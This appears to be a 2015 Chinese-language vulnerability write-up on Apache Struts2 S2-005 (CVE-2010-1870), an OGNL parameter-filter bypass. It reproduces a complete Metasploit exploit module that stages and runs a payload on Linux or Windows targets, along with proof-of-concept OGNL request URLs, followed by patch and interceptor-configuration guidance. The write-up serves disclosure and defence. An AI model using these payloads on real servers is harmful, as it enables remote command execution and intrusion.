struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution

Andrew.Hann發表於2015-06-29

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

1. Description

struts2漏洞的起源源於S2-003(受影響版本: 低於Struts 2.0.12),struts2會將http的每個引數名解析為ongl語句執行(可理解為java程式碼)。ongl表示式通過#來訪問struts的物件,struts框架通過過濾#字元防止安全問題,然而通過unicode編碼(\u0023)或8進位制(\43)即繞過了安全限制,對於S2-003漏洞,官方通過增加安全配置(禁止靜態方法呼叫和類方法執行等)來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用OGNL表示式講這2個選項開啟,S2-003的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上
XWork是一個命令模式框架,用於支援Struts 2及其他應用  
在Atlassian Fisheye,Crucible和其他產品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表示式賦值功能使用許可的白名單,遠端攻擊者可以藉助

1. #context
2. #_memberAccess
3. #root
4. #this
5. #_typeResolver
6. #_classResolver
7. #_traceEvaluations
8. #_lastEvaluation
9. #_keepLastEvaluation和其他的OGNL上下文變數

以此來修改伺服器端物件,並繞過ParameterInterceptors中的"#"保護機制

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://cve.scap.org.cn/CVE-2010-1870.html
http://www.securityfocus.com/bid/41592/info


2. Effected Scope

VMWare vCenter Orchestrator 4.1
VMWare vCenter Orchestrator 4.0
OpenSymphony XWork 2.1.5 
OpenSymphony XWork 2.1 
OpenSymphony XWork 2.0.6 
OpenSymphony XWork 2.0.5 
OpenSymphony XWork 2.0.4 
OpenSymphony XWork 2.0.3 
OpenSymphony XWork 2.0.2 
OpenSymphony XWork 2.0.1 
Cisco Unified Contact Center Enterprise 0
Atlassian Fisheye 2.3.4 
Atlassian Fisheye 2.2.3 
Atlassian Crucible 2.3.2 
Atlassian Crucible 2.2.3 
Apache Software Foundation Struts 2.1.8 .1
Apache Software Foundation Struts 2.1.8 
Apache Software Foundation Struts 2.1.1 
Apache Software Foundation Struts 2.1 
Apache Software Foundation Struts 2.0.12 
Apache Software Foundation Struts 2.0.11 .2
Apache Software Foundation Struts 2.0.11 .1
Apache Software Foundation Struts 2.0.9 
Apache Software Foundation Struts 2.0.8 
Apache Software Foundation Struts 2.0.7 
Apache Software Foundation Struts 2.0.6 
Apache Software Foundation Struts 2.0.5 
Apache Software Foundation Struts 2.0.4 
Apache Software Foundation Struts 2.0.3 
Apache Software Foundation Struts 2.0.2 
Apache Software Foundation Struts 2.0.1 
Apache Software Foundation Struts 2.0 
Apache Software Foundation Archiva 1.3.4 
Apache Software Foundation Archiva 1.3.3 
Apache Software Foundation Archiva 1.3.1 
Apache Software Foundation Archiva 1.3.5
Apache Software Foundation Archiva 1.3


3. Exploit Analysis

##
# $Id: struts_code_exec.rb 13584 2011-08-19 05:52:09Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apache Struts < 2.2.0 Remote Command Execution',
            'Description'    => %q{
                    This module exploits a remote command execution vulnerability in 
                Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
                handle unicode characters in OGNL extensive expressions passed to the web server.
                
                    By sending a specially crafted request to the Struts application it is possible to
                bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. 
                Bypassing this restriction allows for the execution of arbitrary Java code.
            },
            'Author'         =>
                [
                    'bannedit', # metasploit module
                    'Meder Kydyraliev', # original public exploit
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13584 $',
            'References'     =>
                [
                    [ 'CVE', '2010-1870'],
                    [ 'OSVDB', '66280'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
                ],
            'Platform'      => [ 'win', 'linux'],
            'Privileged'     => true,
            'Targets'        =>
                [
                    ['Windows Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'win'
                        }
                    ],
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DisclosureDate' => 'Jul 13 2010',
            'DefaultTarget' => 0))

            register_options(
                [
                    Opt::RPORT(8080),
                    OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]),
                    OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
                ], self.class)
    end

    def execute_command(cmd, opts = {})
        uri =  Rex::Text::uri_encode(datastore['URI'])
        var_a = rand_text_alpha_lower(4)
        var_b = rand_text_alpha_lower(2)
        var_c = rand_text_alpha_lower(4)
        var_d = rand_text_alpha_lower(4)
        var_e = rand_text_alpha_lower(4)
        
        uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
        uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
        uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
        uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
        uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
        puts uri
        vprint_status("Attemping to execute: #{cmd}")

        resp = send_request_raw({
            'uri'     => uri,
            'version' => '1.1',
            'method'  => 'GET',
        }, 5)
    end

    def windows_stager
        exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

        print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
        execute_cmdstager({ :temp => '.'})
        @payload_exe = payload_exe

        print_status("Attempting to execute the payload...")
        execute_command(@payload_exe)
    end

    def linux_stager
        cmds = "/bin/sh@-c@echo LINE | tee FILE"
        exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
        base64 = Rex::Text.encode_base64(exe)
        base64.gsub!(/\=/, "\\u003d")
        file = rand_text_alphanumeric(4+rand(4))

        execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
        cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
        base64.each_line do |line|
            line.chomp!
            cmd = cmds
            cmd.gsub!(/LINE/, line)
            execute_command(cmds)
        end

        execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
        execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
        execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

        execute_command("/bin/sh@-c@/tmp/#{file}")
        @payload_exe = "/tmp/" + file
    end

    def on_new_session(client)
        if target['Platform'] == 'linux'
            print_status("deleting #{@payload_exe} payload file")
            execute_command("/bin/sh@-c@rm #{@payload_exe}")
        else
            print_status("Windows does not allow running executables to be deleted")
            print_status("delete the #{@payload_exe} file manually after migrating")
        end
    end

    def exploit
        if not datastore['CMD'].empty?
            print_status("Executing user supplied command")
            execute_command(datastore['CMD'])
            return
        end

        case target['Platform']
            when 'linux'
                linux_stager
            when 'win'
                windows_stager
            else
                raise RuntimeError, 'Unsupported target platform!'
        end

        handler
    end
end

Relevant Link:

http://downloads.securityfocus.com/vulnerabilities/exploits/41592.rb


4. Principle Of Vulnerability

XWork通過getters/setters方法從HTTP的引數中獲取對應action的名稱,這個過程是基於OGNL(Object Graph Navigation Language)的。OGNL的處理方式如下

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//會被轉化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

這個過程是由ParametersInterceptor呼叫ValueStack.setValue()完成的,它的引數是使用者可控的,由HTTP引數傳入。OGNL的功能較為強大,遠端執行程式碼也正是利用了它的功能

1. Method calling: foo()  
2. Static method calling: @java.lang.System@exit(1)  
3. Constructor calling: new MyClass()  
4. Ability to work with context variables: #foo = new MyClass()  
5. And more...  

由於引數完全是使用者可控的,所以XWork出於安全的目的,增加了兩個方法用以阻止程式碼執行

1. OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (預設為true)  
2. SecurityMemberAccess private field called 'allowStaticMethodAccess' (預設為false)  

但這兩個方法可以被覆蓋,從而導致程式碼執行

#_memberAccess['allowStaticMethodAccess'] = true  
#foo = new java.lang.Boolean("false")  
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo  
#rt = @java.lang.Runtime@getRuntime()  
#rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允許引數名稱中有#的,因為OGNL中的許多預定義變數也是以#表示的

1. #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.  
2. #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.  
3. #root  
4. #this  
5. #_typeResolver  
6. #_classResolver  
7. #_traceEvaluations  
8. #_lastEvaluation  
9. #_keepLastEvaluation

可是攻擊者在過去找到了這樣的方法(bug編號XW-641):使用\u0023來代替#,這是#的十六進位制編碼,從而構造出可以遠端執行的攻擊payload

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den  
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti  
me()))=1 

對於(1)(2)這樣的ongl表示式,ongl會把1當作一個ongl表示式先執行。對於url引數user=(1)(2),struts2只對user引數做了過濾,並沒有限制引數值,從而導致漏洞的產生,即POC中綜合了2種技術,()執行和#編碼繞過技術

Relevant Link:

http://book.51cto.com/art/201204/330087.htm


5. Patch Fix

0x1: upgrade struts2

As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.
It is strongly recommended to upgrade to Struts 2.2.1, which contains the corrected XWork library.

//訪問POC
http://localhost:8080/crazyit/tag1?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den  
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti  
me()))=1 

升級後的struts2加入了攔截器防禦邏輯

七月 01, 2015 4:20:35 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!
七月 01, 2015 4:20:35 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(aaa)(('\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))] is too long, allowed length is [100]
七月 01, 2015 4:20:35 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!

0x2: Mitigation Workaround

Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters
The following additional interceptor-ref configuration, should mitigate the problem when applied correctly:

<interceptor-ref name="params">
    <param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

我們知道,struts2是一個高度結構化的元件式的MVC開發框架,這種架構帶來了開發的複雜性,但同時也使安全人員利用struts2原生提供的"序列Hook點"向框架中加入"安全過濾器",通過在"安全過濾器"中實現"應用層/程式碼層WAF"的目的
以上的程式碼本質上是利用了struts2的"攔截器棧"對HTTP請求進行了過濾,使用這種方案,需要對當前網站所配置使用的攔截器棧加入這段引數過濾配置

For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack

0x3: 手工修復

如果要採取手工修復的方式,需要進行以下步驟

1. 修改目標struts2應用的struts.xml檔案,在對應的Action中新增新的攔截器,或攔截器棧,或者直接設定成預設攔截器
2. 向目標struts2應用的src原始碼中新增新的攔截器實現類
3. 重啟目標struts2應用程式,使攔截器生效

Relevant Link: 

http://struts.apache.org/docs/s2-005.html

 

Copyright (c) 2015 Little5ann All rights reserved

 

相關文章